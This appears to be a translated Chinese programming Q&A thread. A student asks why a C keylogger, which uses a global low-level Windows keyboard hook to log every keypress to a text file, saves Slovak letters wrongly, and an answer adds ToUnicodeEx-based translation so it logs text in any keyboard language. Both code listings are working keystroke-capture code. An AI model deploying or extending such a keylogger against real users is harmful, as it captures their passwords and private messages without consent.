Windows Hook保存语言字符

时间:2019-06-08 19:59:14

标签: c winapi keyboard multilingual

嗯,我有一个简单的程序可以保存按键。但它仅适用于英文键盘。它无法检测到其他任何键盘,例如我的斯洛伐克语。 单词“škola”被保存为“ 3kola”。因为“ 3”和“š”是键盘上的相同按钮。

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>


HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;
char xxx;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            if (kbdStruct.vkCode != 0);
            {
                switch (kbdStruct.vkCode)
                {
                case VK_ESCAPE:
                    fprintf(LOG, "[ESC]");
                    break;
                default:

                    fprintf(LOG, "%c", kbdStruct.vkCode);
                    break;
                }
                fflush(LOG);
            }
        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
    _hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}

void main()
{
    LOG = fopen("log.txt", "a+" );
    SetHook();
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
    }
    fclose(LOG);
}

我想做的是保存当前本地语言的字符。 例如。我用斯洛伐克语“žiak”写了一个字,然后将本地语言改为英语,然后用英语写了一些东西,然后再说了捷克语。我将如何使用本地语言字符保存用户输入的所有时间。 (是的,它的键盘记录器,但是那是在学校学习C的有趣方式,我们确实做了一些循环和写入文本文件的工作,这就是我所知道的一切:/)我发现了有关wm_char的东西可以解决我的问题,但是我不知道使用它。

1 个答案:

答案 0 :(得分:1)

如果要保留低级键盘钩子,而不是使用消息钩子,则必须根据当前语言环境将钩子函数中接收到的键码和键盘状态转换为UTF8字符串: / p>

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            if (kbdStruct.vkCode != 0)
            {
                switch (kbdStruct.vkCode)
                {
                case VK_ESCAPE:
                    fprintf(LOG, "[ESC]");
                    break;
                default:
                    unsigned char keyboardState[256];
                    for (int i = 0; i < 256; ++i)
                        keyboardState[i] = static_cast<unsigned char>(GetKeyState(i));

                    wchar_t wbuffer[3] = { 0 };

                    int result = ToUnicodeEx(
                        kbdStruct.vkCode, 
                        kbdStruct.scanCode, 
                        keyboardState, 
                        wbuffer, 
                        sizeof(wbuffer) / sizeof(wchar_t), 
                        0, 
                        GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)));
                    if (result > 0)
                    {
                        char buffer[5] = { 0 };
                        WideCharToMultiByte(CP_UTF8, 0, wbuffer, 1, buffer, sizeof(buffer) / sizeof(char), 0, 0);
                        fprintf(LOG, "%s", buffer);
                    }

                    break;
                }
                fflush(LOG);
            }
        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

ToUnicodeEx是执行翻译的功能。除键控代码外,它还需要键盘状态,因为修饰键可能会更改字符。